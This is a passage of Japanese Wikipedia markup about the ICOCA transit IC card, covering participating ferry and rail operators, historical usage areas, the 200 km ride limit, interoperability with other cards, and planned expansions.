* [[瀬戸内海汽船]]・[[石崎汽船]] - 2023年4月1日から[[広島港#宇品内港地区|広島港宇品旅客ターミナル]]~[[呉港|呉中央桟橋]]~[[松山港#松山観光港|松山観光港]]を結ぶ航路で交通系電子マネー決済を導入(PiTaPaは対象外)。広島港宇品旅客ターミナル・呉中央桟橋・松山観光港窓口での対応となる<ref>{{Cite web|和書|url=https://setonaikaikisen.co.jp/kouro/superjet/ |title=スーパージェット時刻表・料金表 |date=2023-04-01 |access-date=2023-04-03 |publisher=瀬戸内海汽船}}</ref><ref>{{Cite web|和書|url=https://setonaikaikisen.co.jp/kouro/cruise/ |title=クルーズフェリー時刻表・料金表 |date=2023-04-01 |access-date=2023-04-03 |publisher=瀬戸内海汽船}}</ref>。従来、PASPY・[[ICい〜カード]]を導入していたが、2025年3月末までの[[PASPY]]の廃止が決定したのを受けて、広島電鉄が主導で開発を進める後継の新システム「MOBIRY DAYS」に参加せずに[[ICOCA電子マネー]]を導入することを決めた。これに伴い、2023年3月31日をもって[[PiTaPa]]・PASPY・ICい〜カードの取り扱いを終了し、交通系ICカード取扱事業者ではなくなった<ref>{{Cite web|和書|url=https://www.jreast.co.jp/kippu/yakkan/pdf/history230323-1.pdf|title=東日本旅客鉄道株式会社ICカード乗車券取扱規則の一部改正(2023年4月1日から施行)|publisher=東日本旅客鉄道株式会社|date=2023-03-23|accessdate=2023-08-26}}</ref>。
* [[四国フェリー]] - 交通系電子マネー決済を導入(PiTaPaは対象外)。新岡山港・土庄港窓口での対応となる<ref name="okayama-tonosho" />。
=== PiTaPaと併用する社局 ===
京阪電気鉄道・近畿日本鉄道以外で以下のPiTaPaも取り扱う社局では、2017年から順次ICOCAおよびICOCA定期券の販売を開始した。いずれもPiTaPaを先行導入している社局においてICOCAを併売するもので、原則として定期券販売箇所(窓口または券売機)で販売する。特記がない場合、各社局とも全線・全区間で利用可能。
;2017年3月25日導入
:*'''[[南海電気鉄道]]'''<ref>{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_01_IC.pdf 南海電鉄におけるICOCAおよびICOCA定期券の発売について]}} - 西日本旅客鉄道2017年2月3日</ref>
:*'''[[泉北高速鉄道]]'''<ref>{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_07_IC.pdf 泉北高速におけるICOCAおよびICOCA定期券の発売について]}} - 西日本旅客鉄道2017年2月3日</ref>
;2017年4月1日導入
:*'''[[大阪市交通局]]'''<ref>{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_00_IC.pdf 大阪市交通局におけるICOCAおよびICOCA定期券の発売について]}} - 西日本旅客鉄道2017年2月3日</ref> - 2018年4月1日に'''[[大阪市高速電気軌道]]''' (Osaka Metro) および'''[[大阪シティバス]]'''に事業承継。
:*'''[[京都市交通局]]'''<ref>{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_02_IC.pdf 京都市交通局におけるICOCAおよびICOCA定期券の発売について]}} - 西日本旅客鉄道2017年2月3日</ref>
:*'''[[大阪モノレール|大阪高速鉄道]]'''<ref>{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_06_IC.pdf 大阪モノレールにおけるICOCAおよびICOCA定期券の発売について]}} - 西日本旅客鉄道2017年2月3日</ref>(現・大阪モノレール)
;2017年4月15日導入
:*'''[[神戸市交通局]]'''<ref>{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_03_IC.pdf 神戸市交通局におけるICOCAおよびICOCA定期券の発売について]}} - 西日本旅客鉄道2017年2月3日</ref>
:*'''[[山陽電気鉄道]]'''<ref>{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_04_IC.pdf 山陽電車におけるICOCAおよびICOCA定期券の発売について]}} - 西日本旅客鉄道2017年2月3日</ref>
:*'''[[神戸電鉄]]'''<ref name="shintetsu">{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_05_IC.pdf 神戸電鉄・北神急行電鉄におけるICOCAおよびICOCA定期券の発売について]}} - 西日本旅客鉄道2017年2月3日</ref>
:*'''[[北神急行電鉄]]'''<ref name="shintetsu" /> - 2020年6月1日に神戸市交通局に事業譲渡。
:*'''[[神戸新交通]]'''(ICOCA定期券は発売せず)<ref>{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_08_IC.pdf 神戸新交通におけるICOCAおよびICOCA定期券の発売について]}} - 西日本旅客鉄道2017年2月3日</ref>
:*'''[[山陽バス]]'''(ICOCA定期券・こどもICOCA定期券のみ発売し、通常のICOCAは発売せず<ref>{{PDFlink|[http://www.westjr.co.jp/press/article/items/170203_09_IC.pdf 山陽バスにおけるICOCAおよびICOCA定期券の発売について]}} - 西日本旅客鉄道2017年2月3日</ref>。[[交通系ICカード全国相互利用サービス]]非対応であるが、2021年3月16日より対応<ref name=":0">{{Cite press release|和書|title=2021年3月16日(火)交通系ICカードの全国相互利用サービスへの対応を開始します|publisher=山陽バス|date=2021-2-1|url=http://www.sanyo-bus.co.jp/media/1612159248_26242400.pdf|format=PDF|accessdate=2021-2-13|archiveurl=https://web.archive.org/web/20210207165408/http://www.sanyo-bus.co.jp/media/1612159248_26242400.pdf|archivedate=2021-2-7}}</ref>)
;2019年3月1日導入
:*'''[[阪急電鉄]]'''
:*'''[[阪神電気鉄道]]'''
:*'''[[能勢電鉄]]'''
:*'''[[北大阪急行電鉄]]'''
=== SMART ICOCA列車利用ポイント ===
SMART ICOCAの列車利用ポイント(J-WESTポイント→WESTERポイント)はJR四国を含む全区間が付与対象。ただしストアードフェア(SF)による自動券売機でのきっぷの購入や定期旅客運賃、定期券の区間内利用は付与対象外。また、他社利用分や自動券売機でのきっぷの購入金額部分は付与対象外。
=== 2018年9月14日以前のエリア ===
2018年9月14日まではJR西日本のエリアは「近畿圏エリア」<ref>{{Cite web|和書|url= http://www.jr-odekake.net/icoca/area/map/kinki.html|title=ご利用可能エリア 近畿圏エリア|accessdate=2019-03-13 |publisher= JRおでかけネット|archiveurl=https://web.archive.org/web/20180816181331/http://www.jr-odekake.net/icoca/area/map/kinki.html |archivedate= 2018-08-16|deadlink=2019年2月}}</ref>と「岡山・広島・山陰・香川エリア」<ref>[http://www.jr-odekake.net/icoca/area/map/okayama.html 利用可能エリアマップ 岡山・広島・山陰・香川エリア│ICOCA:JRおでかけネット] - 西日本旅客鉄道{{リンク切れ|date=2019年2月}}</ref>と「石川・富山エリア」<ref>[http://www.jr-odekake.net/icoca/area/map/toyama.html 利用可能エリアマップ 石川・富山エリア│ICOCA:JRおでかけネット] - 西日本旅客鉄道{{リンク切れ|date=2019年2月}}</ref>に分かれており、エリアをまたがっての利用は出来なかったが、2018年9月15日のエリア拡大の際に一体化されている<ref name="release20171018">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2017/10/page_11308.html |title=ICOCAのご利用エリアが大きく広がります!|publisher=西日本旅客鉄道株式会社|date=2017年10月18日|accessdate=2017年10月18日}}</ref><ref name="release20180530">{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2018/05/page_12448.html |title=2018年9月15日から 近畿から北陸・岡山へ! ICOCAがご利用可能に|publisher=西日本旅客鉄道株式会社|date=2018-05-30|accessdate=2018-06-01}}</ref>。
近畿圏エリア(PiTaPaポストペイサービス対象エリアと播但線・姫新線・紀勢本線のエリアが対象)については割愛する。
==== 岡山・広島・山陰・香川エリア ====
SMART ICOCAの列車利用ポイント(J-WESTポイント→WESTERポイント)はJR四国を含む全区間が付与対象。ただしストアードフェア(SF)による自動券売機でのきっぷの購入や定期旅客運賃、定期券の区間内利用は付与対象外。
岡山・広島・山陰・香川エリアは「岡山・福山地区」、「広島地区」、「松江・米子・伯備地区」、「香川地区」に地区分けされており、各地区内での利用および「岡山・福山地区」と隣接地区同士の地区を跨っての利用のみが可能であった。
; 岡山・福山地区
:* 山陽本線:[[和気駅]] - [[三原駅]]
:* 福塩線:福山駅 - 神辺駅
:* 伯備線:倉敷駅 - 備中高梁駅
:* 吉備線(桃太郎線):全駅
:* 宇野線(宇野みなと線・瀬戸大橋線):岡山駅 - 茶屋町駅
:* 本四備讃線(瀬戸大橋線):茶屋町駅 - 児島駅
:* 津山線:岡山駅 - 法界院駅
:* 赤穂線:[[長船駅]] - 東岡山駅
; 広島地区
:* 山陽本線:三原駅 - 南岩国駅(三原駅そのものは岡山・福山地区の駅)
:* 可部線:全駅
:* 呉線(瀬戸内さざなみ線):全駅
:* 芸備線:狩留家駅 - 広島駅
; 松江・米子・伯備地区
[[File:ICOCA境線淀江以東使用不可.jpg|thumb|[[米子駅]]で撮影2018年8月15日現在<br>境線および山陰本線[[淀江駅]]以東、[[西出雲駅]]以西、左記以外の伯備線がエリア外である旨が伝えられている。]]
:* 山陰本線:伯耆大山駅 - 出雲市駅
:* 伯備線:備中高梁駅 - 伯耆大山駅(備中高梁駅・新見駅・生山駅・根雨駅・伯耆大山駅発着のみ取り扱い。ICOCA定期券は発売しない。備中高梁駅そのものは岡山・福山地区の駅)。
; 香川地区
:* 本四備讃線(瀬戸大橋線):児島駅 - 宇多津駅
:* 予讃線:高松駅 - 多度津駅
:** 2012年3月17日に高松駅・[[坂出駅]]・児島駅の3駅相互間([[香西駅]] - [[八十場駅]]間の各駅および宇多津駅での入出場不可)、ならびに高松駅・坂出駅とJR西日本「岡山・福山地区」に跨がる乗車限定で導入開始。2014年3月1日から上記区間の全駅で利用が開始された<ref>{{Cite press release|和書|url=http://www.jr-shikoku.co.jp/03_news/press/14-01-27/01.htm|archiveurl=https://web.archive.org/web/20140225025333/http://www.jr-shikoku.co.jp/03_news/press/14-01-27/01.htm|language=日本語|title=JR四国でのICOCAサービス開始日が決定!|publisher=四国旅客鉄道/西日本旅客鉄道|date=2014-01-27|accessdate=2020-12-21|archivedate=2014-02-25}}</ref>。
:** 導入開始時は高松駅・坂出駅でのチャージはSMART ICOCAによるクイックチャージにのみ対応しており、現金チャージは扱っていなかった<ref>{{Cite press release|和書|url=http://www.jr-shikoku.co.jp/03_news/press/12-01-24/02.htm |title=高松駅・坂出駅でのICOCAサービス開始日決定およびマリンライナーの指定席でのチケットレスサービス開始について|publisher=四国旅客鉄道・西日本旅客鉄道|date=2012年1月24日|accessdate=2019年3月13日|archiveurl=https://web.archive.org/web/20121109020813/http://www.jr-shikoku.co.jp/03_news/press/12-01-24/02.htm|archivedate=2012-11-09}}</ref><ref>{{Cite news|url=http://www.nikkei.com/article/DGXNASJB2602E_W1A920C1LA0000/ | title = JR四国、2駅でIC乗車券導入 現金入金は未対応 | publisher = [[日本経済新聞]](Web版) | date = 2011-09-27 | accessdate = 2013-06-22}}</ref>。本格導入時に高松駅・[[端岡駅]]・坂出駅・宇多津駅・[[丸亀駅]]・多度津駅の6駅に現金対応のチャージ機が導入されている<ref name="shikoku-ICOCA"/>。なお、JR四国でのICOCA発売駅も前述の6駅のみ。
==== 金沢・富山エリア ====
[[2015年]][[3月26日]]より[[あいの風とやま鉄道]]の一部(「富山エリア」)で利用を開始し、[[2017年]][[4月15日]]にJR西日本・[[IRいしかわ鉄道]]・あいの風とやま鉄道の3社に跨った「石川・富山エリア」に利用範囲が拡大された。SMART ICOCAの列車利用ポイント(J-WESTポイント→WESTERポイント)は全区間が付与対象。ただしストアードフェア(SF)による自動券売機でのきっぷの購入や定期旅客運賃、定期券の区間内利用は付与対象外。
なお、2018年9月15日のエリア一体化後も、北陸本線以外の金沢・富山エリアとその他のエリアとの連続利用はできない。
* 北陸本線:大聖寺駅 - 金沢駅間(福井県への乗り越しは不可)
* 城端線:高岡駅 - 新高岡駅間
* IRいしかわ鉄道線:全駅
* あいの風とやま鉄道線:倶利伽羅駅 - 越中宮崎駅間
** 2015年3月26日より利用開始。ただし通常デザインの大人用ICOCAのみ発売し、再発行や払い戻しは行わなかった。
** [[2016年]][[2月27日]]よりAinokaze ICOCAの発売と再発行・払い戻し、通常デザインのICOCAとAinokaze ICOCAによるICOCA定期券・こどもICOCA・こどもICOCA定期券のサービスを開始し、通常デザインの記名式でない大人用ICOCAの払い戻しもできるようになった。
** 利用開始当初はSMART ICOCAの列車利用ポイント(J-WESTポイント→WESTERポイント)の付与対象外であったが、2017年4月15日よりあいの風とやま鉄道線利用分もポイント付与の対象となった。
=== 利用エリアに関する注記 ===
ICOCA(相互利用可能なICカードを含む)でJR西日本のICOCAエリア内を連続乗車できる区間は、原則として「営業キロ200km以内」とされており、エリア内であってもこれを超える連続乗車はできない。ただし、以下の条件に合致する場合は200kmを超える連続乗車が可能となる<ref name="release20180122-3">{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2018/01/page_11740.html|title=2018年3月17日からICOCAのご利用は200km以内となります。|publisher=西日本旅客鉄道|date=2018-01-22|accessdate=2018-01-22}}</ref>。
* 大阪近郊区間内相互発着の利用の場合(例:米原 - 相生間、長浜 - 姫路間など)
* 大阪近郊区間内の駅と特急「[[サンダーバード (列車)|サンダーバード]]」「[[しらさぎ (列車)|しらさぎ]]」「[[くろしお (列車)|くろしお]]」「[[こうのとり (列車)|こうのとり]]」「[[きのさき (列車)|きのさき]]」「[[はしだて (列車)|はしだて]]」「[[まいづる (列車)|まいづる]]」「[[はまかぜ (列車)|はまかぜ]]」停車駅{{Efn|name=express|在来線特急の停車駅には臨時停車駅を含めない。}}相互間を利用の場合(例:草津 - 新宮間、姫路 - 金沢間など)
* 特急「[[やくも]]」停車駅{{Efn|name=express}}相互間を利用の場合(例:岡山 - 出雲市間など)
IRいしかわ鉄道線・あいの風とやま鉄道線を区間に含む場合、営業キロに関係なく北陸本線[[大聖寺駅]]を超えて西側とのSF利用による連続乗車はできない<ref name="jrw-area"/><ref>[https://ainokaze.co.jp/ticket/ic ICカードについて|きっぷ・ICカード] - あいの風とやま鉄道株式会社. 2020年4月24日閲覧.</ref><ref>[http://www.ishikawa-railway.jp/ticket/ticket_icoca.html ICOCAの取扱いについて|きっぷ・利用案内] - IRいしかわ鉄道株式会社. 2020年4月24日閲覧.</ref>(特急「サンダーバード」で七尾線内の駅を発着する場合も同様<ref name="release20201218nanao" />)。
また、ICOCAで[[のと鉄道]]が運行する七尾線 [[七尾駅]] - [[和倉温泉駅]]間の普通列車に乗車することは出来ない<ref name="jrw-area"/>。
TOICAエリアとは[[亀山駅 (三重県)|亀山駅]]および[[米原駅]]で、SUGOCAエリアとは[[下関駅]]で連続しているが、それぞれの駅を跨いでICOCAエリアとTOICAエリアまたはSUGOCAエリアとのSF利用による連続乗車はできない(ICOCAエリアとTOICAエリアまたはSUGOCAエリアを跨ぐIC定期券は発行される)。
=== 運賃計算の特例 ===
ICOCA利用可能エリアでICOCAのカード残額を利用して乗車した場合、乗車経路ならびに[[大都市近郊区間 (JR)|大都市近郊区間]]内外を問わず、運賃が最も安くなる経路で精算される<ref>{{PDFlink|[http://www.jr-odekake.net/icoca/pdf/covenant_iccard.pdf ICカード乗車券取扱約款]}}第19条第2項に記述あり。</ref>。下記の区間はICOCAのカード残額を利用して乗車した際の「最も安くなる経路」に含めることができるが、ICOCA利用可能エリアに含まれないため、この区間を実際にICOCAのカード残額で乗車することはできない<ref name="jrw-area"/><ref name="beppyo">{{PDFlink|[http://www.jr-odekake.net/icoca/pdf/covenant_iccard.pdf ICカード乗車券取扱約款]}} 別表1</ref>。これは福岡近郊区間で利用可能エリア外を通過利用できるSUGOCAとは取り扱いが異なっている。
* 加古川線:西脇市駅 - 谷川駅間(大阪近郊区間)
* [[岩徳線]]:全線([[経路特定区間]])
Suica、TOICA、SUGOCAなどの他のICカードと同様に、SF利用では途中下車や各種割引などの対象外となる。
=== 利用エリアの拡大 ===
2004年8月1日にSuicaとの相互利用を開始し<ref name="jrw_20030427">[https://web.archive.org/web/20040716043014/www.westjr.co.jp/news/newslist/article/040427a.html 「Suica」・「ICOCA」・「PiTaPa」の相互利用を進めます](インターネット・アーカイブ) - 西日本旅客鉄道プレスリリース 2003年4月27日</ref>、2013年3月23日には[[PASMO]]などの全国10種のICカードの相互利用を開始するなど、それ以降相互利用可能エリアは拡大している。
他社との[[連絡定期券]]としては2010年5月に[[京阪電気鉄道]]とのICOCA連絡定期券の発売が(JR西日本のICOCAエリアの各駅で販売)<ref name="jrw_press_20091215">{{Cite press release|和書|title= IC連絡定期券の導入、および京阪電車におけるICOCA定期券などの発売について|publisher=西日本旅客鉄道 |date= 2009年12月15日|url=http://www.westjr.co.jp/news/newslist/article/1174606_799.html|archiveurl=https://web.archive.org/web/20100730025151/http://www.westjr.co.jp/news/newslist/article/1174606_799.html|archivedate=2010-07-30 |accessdate=2019-03-13}}</ref>、2011年6月1日より、京阪での発売が(京阪線内定期・JR西日本線連絡定期も:[[京阪大津線|大津線]]系統の各駅は、ICOCAの発売・定期券の利用範囲から除く)開始され、2012年12月1日より近鉄でもICOCA(近鉄グループのポイントカード機能付の「KIPS ICOCAカード」も)とICOCA定期券(近鉄線内定期およびJR西日本・京阪・阪神各社との連絡定期券、「近鉄 - JR西日本 - 近鉄」通過定期券)の発売を開始し、その後、近鉄とJR東海・南海・名鉄各社との連絡定期券も発売を開始した。
関西の私鉄の各駅で発売されるICOCAについては、JR西日本の各駅で発売されているものと同じ仕様(表面のデザイン・裏面の表記とも)のものとなっており、裏面の記載番号についても「'''JW'''」より始まるものとなっている(近鉄で発売されるKIPS ICOCA、あいの風とやま鉄道のAinokaze ICOCAでも同様である)。
JR四国では、2012年3月17日に本四備讃線と[[高松駅 (香川県)|高松駅]]・[[坂出駅]]でICOCAが導入された。同社ではICカード初導入である。
完全な相互利用ではないが、広島の[[スカイレールサービス]]では、2013年1月にICOCAを利用可能とした新たな自動改札システムの運用を開始した。一般的な入退場管理システムをベースとしたもので、同社の定期券と回数券に限りICOCAに搭載して利用することができる<ref>{{PDFlink|1=[https://www.mlit.go.jp/common/001005788.pdf ICカードの導入状況(鉄道関係)〔5〕近畿圏・岡山・広島ほか]}}(国土交通省)</ref><ref>{{PDFlink|1=[https://www.mlit.go.jp/common/001004769.pdf#page=4 第12回「日本鉄道賞」応募案件の概要]}}(国土交通省)※pdfファイルの4ページ目に記述あり</ref>。
== 他カードとの相互利用・片利用 ==
[[File:ICCard_Connection.svg|thumb|right|300px|相互利用関係(クリックで拡大)]]
{{See also|交通系ICカード全国相互利用サービス}}
以下のカードは、[[交通系ICカード全国相互利用サービス]]により各カードエリアでのICOCA利用および各カードでのICOCAエリア利用が可能となっている。各エリア内でのチャージは、それぞれのカード対応の自動券売機、自動精算機、簡易入金機で可能である。なお、一部の事業者が発行している特割用カードは相互利用の対象となっていない。
* [[Kitaca]](JR北海道)
* [[Suica]](JR東日本ほか)
* [[PASMO]](関東民鉄・バス各社) - [[関東鉄道]](鉄道線)・[[千葉都市モノレール]]を除く<ref>[https://www.pasmo.co.jp/about/sharing/ 交通系ICカードの相互利用] - PASMO公式サイト 2021年3月16日閲覧</ref>。
* [[TOICA]](JR東海ほか)
* [[manaca]](名古屋市営地下鉄・名古屋鉄道ほか)
* [[PiTaPa]](関西を中心とした民鉄各社) - 電子マネー機能は相互利用サービス外
* [[SUGOCA]](JR九州ほか)
* [[nimoca]](西日本鉄道ほか)
* [[はやかけん]](福岡市交通局ほか)
一方、以下のカードは、ICOCAを当該ICカードのエリアで利用することはできるが、当該ICカードをICOCAエリアで利用することはできない。
* 全国相互利用サービス対象ICカードとの利用協定に基づく以下のICカードエリア(ICOCA以外の全国相互利用サービス対象ICカードでも利用可能)
** [[SAPICA]](札幌市交通局ほか)
** [[icsca]](仙台市交通局・宮城交通)
** [[りゅーと]](新潟交通)
** [[PASPY]](広島県内民鉄・バス各社) - エリア内の各駅および路面電車・バス車内でICOCAチャージが可能。
** [[IruCa]]([[高松琴平電気鉄道]])
** [[Tポイント#エヌタスTカード|エヌタスTカード]]([[長崎自動車]])
** [[熊本地域振興ICカード]](熊本県内民鉄・バス各社)
== 今後の予定 ==
=== JRグループ ===
; [[西日本旅客鉄道]](JR西日本)
: [[2024年]](令和6年)夏頃に[[津山線]] [[津山駅]]([[法界院駅]]以南・津山駅発着相互間のみ取り扱い。ICOCA定期券は発売しない)で<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/231127_00_press_tsuyama_icoca.pdf|title=2024年夏 津山駅で「ICOCA」がご利用いただけるようになります!|format=PDF|publisher=西日本旅客鉄道|date=2023-11-27|accessdate=2023-12-01|archiveurl=https://web.archive.org/web/20231127061101/https://www.westjr.co.jp/press/article/items/231127_00_press_tsuyama_icoca.pdf|archivedate=2023-11-27}}</ref>、[[2025年]](令和7年)春頃に[[山陰本線]] [[鳥取駅]] - [[伯耆大山駅]]間(鳥取駅 - [[倉吉駅]]間の各駅、伯耆大山駅以西/以南発着相互間のみ取り扱い)で導入予定<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/231215_00_press_ICOCA.pdf|title=2025年春(予定)山陰本線のICOCAエリアを拡大します!|format=PDF|publisher=西日本旅客鉄道|date=2023-12-15|accessdate=2023-12-15|archiveurl=https://web.archive.org/web/20231215072527/https://www.westjr.co.jp/press/article/items/231215_00_press_ICOCA.pdf|archivedate=2023-12-15}}</ref>。
=== 北陸 ===
; [[万葉線 (企業)|万葉線]]
: 2013年7月30日に「新幹線戦略とやま県民会議」の席上で[[夏野元志]][[射水市]]長が[[あいの風とやま鉄道]]への導入に併せた“相乗り”構想を明らかにしたもので、あいの風とやま鉄道や[[高岡市]]との調整を進めて2015年度以降の導入を目指したいとしており、[[富山県知事]](当時)の[[石井隆一]]も県として導入を支援する方針を示していた<ref>{{Cite news|url=http://www.tulip-tv.co.jp/news/detail/?TID_DT03=20130730171140 |title=新幹線開業後 万葉線はICカード"ICOCA"導入へ|newspaper=[[チューリップテレビ]]|date=2013年7月30日|archiveurl=https://web.archive.org/web/20140715021805/http://www.tulip-tv.co.jp/news/detail/?TID_DT03=20130730171140|archivedate=2014年7月15日|accessdate=2014年12月30日}}</ref>。その後しばらくは具体的な進展は無かったが、富山県が2020年(令和2年)度当初予算案に「地域公共交通ネットワークの充実」施策の一環として「富山地方鉄道の安全対策や万葉線のICカード導入準備等に対する支援」として1億5千万円あまりの予算を計上しており、今後県による支援が予定されている<ref>{{PDFlink|[http://www.pref.toyama.jp/cms_pfile/00020979/01345636.pdf 令和2年度当初予算(案)施策テーマ別の主な事業]}} - 富山県</ref>。
; [[ハピラインふくい]]
: 2024年(令和6年)3月16日から運行開始と同時に導入予定<ref>{{Cite press release|和書|url=https://www.hapi-line.co.jp/news/archives/26|title=ICOCAサービス・ハピラインオリジナルデザインICOCAについて |publisher=ハピラインふくい株式会社|date=2023-11-20|accessdate=2023-12-06}}</ref><ref>{{Cite press release|title=ハピラインふくいでICOCAが利用可能になります!|publisher=西日本旅客鉄道|date=2023-1-20|url=https://www.westjr.co.jp/press/article/items/231120_00_press_fukuiicoca.pdf|和書|accessdate=2023-12-06}}</ref>。なお、JR西日本から承継前の北陸本線では既にICOCAが使用可能となっている。
=== 東海 ===
; [[伊賀鉄道]]
: 2024年(令和6年)3月に[[伊賀鉄道伊賀線]]全線に導入予定<ref>{{Cite press release|title=2024年3月 伊賀鉄道でICOCAが利用可能になります!|publisher=西日本旅客鉄道・伊賀鉄道株式会社・伊賀市|date=2023-7-26|url=https://www.westjr.co.jp/press/article/items/230726_00_press_igatetsudoicoca.pdf|和書|accessdate=2023-7-26}}</ref>。
=== 中国 ===
; [[中海・宍道湖・大山圏域]]のバス事業者
: 2019年に[[鳥取県]]西部地域の2市([[米子市]]・[[境港市]])と[[島根県]]東部地域の3市([[松江市]]・[[出雲市]]・[[安来市]])およびオブザーバーとして鳥取県西部地域(大山圏域)の6町1村([[日吉津村]]・[[大山町]]・[[南部町 (鳥取県)|南部町]]・[[伯耆町]]・[[日南町]]・[[日野町 (鳥取県)|日野町]]・[[江府町]])が加わった5市6町1村で構成される「中海・宍道湖・大山圏域市長会(だんだんサミット)」が圏域を運行する路線バスの運賃支払いにICOCAを導入することを目指し、2019年度に「中海・宍道湖・大山圏域市長会(だんだんサミット)」の事業としてICカードシステムの調査・設計を行い、早ければ2020年度以降に導入を目指したいとしていた<ref>{{Cite web|和書|url=https://www.city.yonago.lg.jp/secure/26776/vision.pdf |title=中海圏域定住自立圏共生ビジョン(第2次) |trans-title= |accessdate=2023-03-15 |last= |first= |author= |authorlink= |coauthors= |date=2017-03-30 |year= |month= |format=PDF |website=米子市役所 |work= |publisher=松江市・米子市・安来市・境港市 |page=42 |pages= |quote= |language= |archiveurl= |archivedate= |deadlinkdate= |doi= |ref=}}</ref><ref>{{Cite news |和書|title=運賃ICカードで 松江市など20年度導入目指す /島根 |newspaper=[[毎日新聞]] |date=2019-03-06 |author= |authorlink= |author2= |authorlink2= |author3= |authorlink3= |author4= |authorlink4= |author5= |authorlink5= |author6= |authorlink6= |author7= |authorlink7= |author8= |authorlink8= |author9= |authorlink9= |url=https://mainichi.jp/articles/20190306/ddl/k32/010/290000c |accessdate=2023-03-15 |format= |agency= |location= |publisher= |isbn= |issn= |oclc= |pmid= |pmd= |bibcode= |doi= |id= |page= |pages= |at= |language= |trans-title= |quote= |archiveurl= |archivedate= |ref= |postscript= }}</ref><ref>{{Cite web|和書|url=https://www.city.yonago.lg.jp/secure/31641/vision_3rd.pdf |title=第3次中海圏域定住自立圏共生ビジョン |trans-title= |accessdate=2023-03-15 |last= |first= |author= |authorlink= |coauthors= |date=2019-03-26 |year= |month= |format=PDF |website=米子市役所 |work= |publisher=松江市・米子市・安来市・境港市 |page=38 |pages= |quote= |language= |archiveurl= |archivedate= |deadlinkdate= |doi= |ref=}}</ref><ref>{{Cite web|和書|url=https://www.nakaumi.jp/cgi-bin/rus7/new/data/attach/att-00189-4.pdf |title=中海・宍道湖・大山圏域市長会 地方版総合戦略における施策・主な成果・KPIの達成状況 |trans-title= |accessdate=2023-03-15 |last= |first= |author= |authorlink= |coauthors= |date= |year= |month= |format=PDF |website= |work= |publisher=中海・宍道湖・大山圏域市長会 |page=2 |pages= |quote= |language= |archiveurl= |archivedate= |deadlinkdate= |doi= |ref=}}</ref>。このうち、[[松江市交通局]]は2021年4月28日より「[[ぐるっと松江レイクライン]]」に導入、同年5月29日に一般路線に拡大、[[一畑バス]]は2021年5月29日より松江・出雲圏域の路線バスにおいて導入済みであるが、圏域内におけるICカード利用の拡大のため、現時点で未導入となっている米子・松江・出雲圏域の[[日本交通 (鳥取県)]]・[[日ノ丸自動車]]・[[日ノ丸ハイヤー]]・[[松江一畑交通]]・[[出雲一畑交通]]・[[スサノオ観光]]・[[谷本ハイヤー]]・出雲観光タクシー(うさぎ線)等での導入促進について、圏域内の5市6町1村が「中海・宍道湖・大山圏域市長会(だんだんサミット)」に対して協力を要請しており、今後導入を目指したいとしている<ref>{{Cite web|和書|url=https://www.matsue.jp/wp-content/uploads/2023/02/R5youbou.pdf |title=令和5年度松江市に対する重点要望事項および回答 |trans-title= |accessdate=2023-03-15 |last= |first= |author= |authorlink= |coauthors= |date= |year= |month= |format=PDF |website= |work= |publisher=松江市役所 |page= |pages=10-11 |quote= |language= |archiveurl= |archivedate= |deadlinkdate= |doi= |ref=}}</ref>。その後、米子市が2023年に策定した「米子市地域公共交通計画」では推進施策「まちづくりを支える公共交通」の柱の一つである「広域連携による公共交通の活性化」の個別施策に「キャッシュレス決済 (ICOCA) 導入に向けた調査・研究」が盛り込まれており、今後、計画期間の2027年度までに導入を目指したいとしている<ref>{{Cite web|和書|url=https://www.city.yonago.lg.jp/secure/50397/keikaku_K.pdf |title=米子市地域公共交通計画(計画編) |trans-title= |accessdate=2023-06-22 |last= |first= |author= |authorlink= |coauthors= |date=2023-03-31 |year= |month= |format=PDF |website=米子市役所 |work= |publisher=米子市役所総合政策部交通政策課 |page=16 |pages= |quote= |language= |archiveurl= |archivedate= |deadlinkdate= |doi= |ref=}}</ref>。
; [[広島高速交通]]
: 2024年(令和6年)に[[広島高速交通広島新交通1号線|アストラムライン]]全線で導入予定<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/220304_02_icoca.pdf|title=広島高速交通株式会社におけるICOCAおよびICOCA定期券の発売について |publisher=西日本旅客鉄道・広島高速交通株式会社|date=2022-03-04|accessdate=2022-03-04}}</ref>。2025年3月末までの[[PASPY]]の廃止が決定したのを受けて、ICOCAを導入してシステムを切り替えることを決めた<ref name=":7">{{Cite press release|title=新たな乗車券サービスの名称と主なサービス内容が決定しました|publisher=広島電鉄、日本電気、レシップ|date=2023-10-23|url=https://www.hiroden.co.jp/topics/2023/pdf/1023-newticketingsystem/newticketingsystem.pdf|和書|accessdate=2023-10-24}}</ref><ref name="chugoku-np20231023">{{Cite news |url=https://www.chugoku-np.co.jp/articles/-/376518 |title=パスピー後継、便利になる?イコカとの連携が鍵 広島電鉄の新乗車券 他の事業者は慎重判断 |newspaper=中国新聞デジタル |date=2023-10-23}}</ref>。
=== 四国 ===
; [[伊予鉄道]]
: 2024年(令和6年)3月に[[伊予鉄道#松山市内線|市内電車]]全線に導入予定<ref name="JR西日本・伊予鉄">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/231027_00_press_iyotetsu.pdf|title=ICOCAなど全国交通系ICカードを導入します 市内電車、松山空港リムジンバス に|publisher=西日本旅客鉄道|date=2023-10-27|accessdate=2023-10-27}}</ref><ref name="JR西日本・伊予鉄_2">{{Cite press release|和書|url=https://www.iyotetsu.co.jp/topics/press/2023/1027_grbc.pdf|title=ICOCAなど全国交通系ICカードを導入します 市内電車、松山空港リムジンバス に|publisher=伊予鉄グループ|date=2023-10-27|accessdate=2023-10-27}}</ref>{{Efn|name=伊予鉄IC|ICい〜カードは引き続き利用できる。}}。
; [[伊予鉄バス]]
